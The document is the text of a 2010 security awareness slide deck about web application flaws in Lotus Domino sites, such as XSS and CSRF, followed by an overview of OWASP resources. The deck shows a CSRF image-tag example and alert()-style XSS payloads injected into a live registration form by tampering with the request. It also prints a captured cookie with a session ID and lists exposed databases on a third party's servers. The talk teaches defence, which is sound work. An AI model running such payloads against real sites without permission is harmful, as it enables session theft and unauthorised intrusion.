Are your Domino Web Apps Secure?

Security Awareness Session by:
Ferdinand Vroom

dinsdag 30 maart 2010
Quick Show of Hands

Are you a...
- Developer?
- Administrator?
- User?
- Manager?
- Or all of The Above?
Agenda

- Latest & Worst Web App Vulnerabilities
- Some Vulnerabilities in the Wild
- OWASP
- Conclusions
Latest & Worst Web App Vulnerabilities

- Good Old XSS, Cross Site Scripting
- Drive-by Downloads
- CSRF, Cross Site Request Forgery
- XSHM, Cross-Site History Manipulation
XSS, Cross Site Scripting

- Stored
- Reflected
- Dom Based

XSS Cheat Sheet from RSnake:
http://ha.ckers.org/xss.html
Drive- by Downloads

October 27, 2009: More than 640,000 Web sites and about 5.8 million pages are infected with malware.
CSRF, Cross Site Request Forgery

eg. XSS Vulnerability

HTTP Request ①
GET / HTTP/1.1
Host: www.example.org

CSRF Attack ③
GET /buy.php?symbol=SCOX&shares=1000 HTTP/1.1
Host: stocks.example.org

HTTP Response ②
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1234

<html>
  ...
  <img src="http://stocks.example.org/buy.php?symbol=SCOX&shares=1000" />
  ...
</html>

www.example.org
Victim
stocks.example.org
XSHM, Cross-Site History Manipulation

- Client Side Attack
- Trust Between User and Website
- SOP, Same Origin Policy, Breach
- Client Side Browser History
Mistakes by Admins, Devs, Management and Regulatory Bodies...
### Access Control Lists

<table>
<thead>
<tr>
<th>Access Level Title</th>
<th>Server</th>
<th>File Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>BLOG UNI 2</td>
<td>Uniweb</td>
<td>BLOGUNiv100.NSF</td>
</tr>
<tr>
<td>DECS Administrator</td>
<td>mail.union-network.org</td>
<td>decaadm.nsf</td>
</tr>
<tr>
<td>DOLS Resource Template</td>
<td>mail.union-network.org</td>
<td>dolres.nsf</td>
</tr>
<tr>
<td>DOLS Resource Template</td>
<td>Uni-Europa</td>
<td>dolres.nsf</td>
</tr>
<tr>
<td>Domino Doc Admin Guide</td>
<td>Uni-Europa</td>
<td>ddmadmgd.nsf</td>
</tr>
<tr>
<td>Lotus MTA Tables (v1.7)</td>
<td>mail.union-network.org</td>
<td>mtatbls.nsf</td>
</tr>
<tr>
<td>Lotus MTA Tables (v1.7)</td>
<td>Uni-Europa</td>
<td>mtatbls.nsf</td>
</tr>
<tr>
<td>Mail Jump</td>
<td>mail.union-network.org</td>
<td>mailjump.nsf</td>
</tr>
<tr>
<td>Mail Jump</td>
<td>Uni-Europa</td>
<td>mailjump.nsf</td>
</tr>
<tr>
<td>ScanMail Approve Database</td>
<td>mail.union-network.org</td>
<td>smdismdapproved.ntf</td>
</tr>
<tr>
<td>SMTP MTA Tables (v4.7)</td>
<td>Uni-Europa</td>
<td>smtpbls.nsf</td>
</tr>
<tr>
<td>Template Virtual Committee V 1.00</td>
<td>mail.union-network.org</td>
<td>TUNITVirtualCommitteesV100.ntf</td>
</tr>
<tr>
<td>UNI Publications</td>
<td>mail.union-network.org</td>
<td>UNIPublications.ntf</td>
</tr>
</tbody>
</table>
Title:

Several Documents

Text:

LN_Databases list.doc  Lotus_staff_groups.doc  Mobile phone numbers.doc  UNI Databases.doc  UNI Email address book groups.doc  UNI Sector and Group Abbreviations.doc
New registration - Step 1 of 2

Your username will be composed of your First Name + Middle Initial (if entered) + Last name.
(For example, Mary A Jones, Bob Smith or Chaka Khan)

Fields marked with an asterisk (*) are required

First Name*

Middle Initial:

Last Name*

Continue  Start Over
New registration - Step 1 of 2

Your username will be composed of your First Name + Middle Initial (if entered) + Last name.
(For example, Mary A Jones, Bob Smith or Chaka Khan)

Fields marked with an asterisk (*) are required

First Name*:
<script>alert("xss1")</script>

Middle Initial:
<s>

Last Name*:
<script>alert("xss3")</script>

Continue  Start Over
OpenNTF Registration - Error Message

We couldn't process your OpenNTF registration because the name you submitted is already in use or not allowed.

Please re-enter your username

This time, try to enter a variation of your name. For example, if your name is Tom Smith, try Tom A. Smith or Thomas Smith.
<script language="JavaScript" type="text/javascript">
  <!--
  //Get query_string
  var locstr = new String (location);
  //find first name
  var userindexfirst = locstr.indexOf("=");
  var username = new String(locstr.substr(userindexfirst+1));
  var userindexfirst = username.indexOf(":");
  var firstusername = username.substr(0, userindexfirst);
  //find middle Name
  miduserstr = new String(username.substr(userindexfirst+1));
  var userindexmid = miduserstr.indexOf(":");
  var midusername = miduserstr.substr(0, userindexmid);
  //find last Name
  lastuserstr = new String(miduserstr.substr(userindexmid+1))
  // -->
  </script>

<script language="JavaScript" type="text/javascript">
  <!--
  document._domino_target = "self";
  function _doClick(v, o, t) {
    var returnValue = false;
    if (o.href !== null) {
      o.href = url;
      returnValue = true;
    } else {
      if (t !== null)
        t = document._domino_target;
      window.open(url, t);
    }
    return returnValue;
  }
  // -->
  </script>
</head>
<body text="#000000" bgcolor="#FFFFFF">

JavaScript Function for Parsing the Query String...

Our payload...

dinsdag 30 maart 2010
Escaping/ Unescapping is not Enough!
Your username will be composed of your First Name + Middle Initial (if entered) + Last Name.
(For example, Mary A Jones, Bob Smith or Chaka Khan)

Fields marked with an asterisk (*) are required

First Name*

Middle Initial:

Last Name*

35 Characters, or...

<script>alert("123456789")</script>
| Clientside input validation... |

```html
<table cellpadding="4" border="0" cellspacing="0">
  <tr valign="top">
    <td width="120">
      <input name="FirstName" value="" SIZE=35 MAXLENGTH=35>
    </td>
  </tr>
  <tr valign="top">
    <td width="120">
      <input name="MiddleInitial" value="" SIZE=2 MAXLENGTH=2>
    </td>
  </tr>
  <tr valign="top">
    <td width="120">
      <input name="LastName" value="" SIZE=35 MAXLENGTH=35>
    </td>
  </tr>
</table>
```
QuickProxy 2009.07.19
Quickproxy creates a statusbar icon to quickly turn the proxy on and off.

Tamper Data 11.0.1
View and modify HTTP/HTTPS headers etc. Track and time requests.

Updates zoeken
Tamper with request?

http://openntf.org/registration.nsf/ie!OpenForm&Seq=1

- Continue Tampering?
  - Submit
  - Abort Request
  - Tamper
<table>
<thead>
<tr>
<th>Post Parameter Name</th>
<th>Post Parameter Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>__Click</td>
<td>0</td>
</tr>
<tr>
<td>FirstName</td>
<td>%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E</td>
</tr>
<tr>
<td>MiddleInitial</td>
<td>%3Cs</td>
</tr>
<tr>
<td>LastName</td>
<td>12345678901234567890123456789012345</td>
</tr>
</tbody>
</table>

tekst
De pagina op http://openntf.org meldt:

__utma=51980151.487711806.1269808215.1269857426.1269861654.4; __utmz=51980151.1269808215.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utmb=51980151; __utmc=51980151; SessionID=CI4KGZCTCR
OWASP

- Top Ten Risks
- Guides
- Tools
- Models, Techniques & Frameworks
The OWASP Top Ten provides a powerful awareness document for web application security. The Top Ten represents a broad consensus about what the most critical web application security flaws are.
The OWASP Top Ten provides a powerful awareness document for web application security. The OWASP Top Ten represents a broad consensus about what the most critical web application security flaws are.
### OWASP - Top Ten Risks

<table>
<thead>
<tr>
<th>OWASP Top 10 – 2007 (Previous)</th>
<th>OWASP Top 10 – 2010 (New)</th>
</tr>
</thead>
<tbody>
<tr>
<td>A2 – Injection Flaws</td>
<td>A1 – Injection</td>
</tr>
<tr>
<td>A1 – Cross Site Scripting (XSS)</td>
<td>A2 – Cross Site Scripting (XSS)</td>
</tr>
<tr>
<td>A7 – Broken Authentication and Session Management</td>
<td>A3 – Broken Authentication and Session Management</td>
</tr>
<tr>
<td>A4 – Insecure Direct Object Reference</td>
<td>A4 – Insecure Direct Object References</td>
</tr>
<tr>
<td>A5 – Cross Site Request Forgery (CSRF)</td>
<td>A5 – Cross Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>A10 – Failure to Restrict URL Access</td>
<td>A7 – Failure to Restrict URL Access</td>
</tr>
<tr>
<td>&lt;not in T10 2007&gt;</td>
<td>A8 – Unvalidated Redirects and Forwards (NEW)</td>
</tr>
<tr>
<td>A8 – Insecure Cryptographic Storage</td>
<td>A9 – Insecure Cryptographic Storage</td>
</tr>
<tr>
<td>A9 – Insecure Communications</td>
<td>A10 – Insufficient Transport Layer Protection</td>
</tr>
<tr>
<td>A3 – Malicious File Execution</td>
<td>&lt;dropped from T10 2010&gt;</td>
</tr>
<tr>
<td>A6 – Information Leakage and Improper Error Handling</td>
<td>&lt;dropped from T10 2010&gt;</td>
</tr>
</tbody>
</table>
OWASP - Guide
OWASP - Guide

- Help for All Coders Alike...
- PHP, Java, C#
- Examples
- Hints & Tips
OWASP - Tools

WebGoat is a deliberately insecure J2EE web application maintained by OWASP designed to teach web application security lessons. In each lesson, users must demonstrate their understanding of a security issue by exploiting a real vulnerability in the WebGoat application. For example, in one of the lessons the user must use SQL injection to steal fake credit card numbers. The application is a realistic teaching environment, providing users with hints and code to further explain the lesson.

Why the name “WebGoat”? Developers should not feel bad about not knowing security. Even the best programmers make security errors. What they need is a scapegoat, right? Just blame it on the ‘Goat’.

To get started, read the WebGoat User and Install Guide

Goals

Web application security is difficult to learn and practice. Not many people have full blown web applications like online book stores or online banks that can be used to scan for vulnerabilities. In addition, security professionals frequently need to test tools against a platform known to be vulnerable to ensure that they perform as advertised. All of this needs to happen in a safe and legal environment. Even if your intentions are good, we believe you should never attempt to find vulnerabilities without permission.

The primary goal of the WebGoat project is simple: create a de-facto interactive teaching environment for web application security. In the future, the project team hopes to extend WebGoat into becoming a security benchmarking platform and a Java-based Web site HoneyPot.

Check out the project roadmap and find some tasks that you can help with right away.

Overview

WebGoat is written in Java and therefore installs on any platform with a Java virtual machine. There are installation programs for Linux,
OWASP - Tools

WebGoat is a deliberately insecure J2EE web application maintained by OWASP designed to teach web application security lessons.
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. It is written in Java, and is thus portable to many platforms. WebScarab has several modes of operation, implemented by a number of plugins. In its most common usage, WebScarab operates as an intercepting proxy, allowing the operator to review and modify requests created by the browser before they are sent to the server, and to review and modify responses returned from the server before they are received by the browser. WebScarab is able to intercept both HTTP and HTTPS communication. The operator can also review the conversations (requests and responses) that have passed through WebScarab.

You may also be interested in testing the Next Generation of WebScarab.

OWASP - Tools
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. WebScarab operates as an intercepting proxy, allowing the operator to review and modify requests.
OWASP - Models, Techniques & Frameworks

- ESAPI, Enterprise Security API
  For Retrofitting Security in Existing Apps
- SAMM, Software Assurance Maturity Model
- ASVS, Application Security Verification Standard
Conclusions

Everybody makes mistakes, Solve Them, Learn from Them

Always Evaluate Cost of Mitigation

Test!
Questions?
Who is Ferdinand
Toolzzz...

- Paros Proxy:
  http://www.parosproxy.org/

- OWASP:
  http://www.owasp.org

- For Mac Fans:
  http://research.corsaire.com/tools/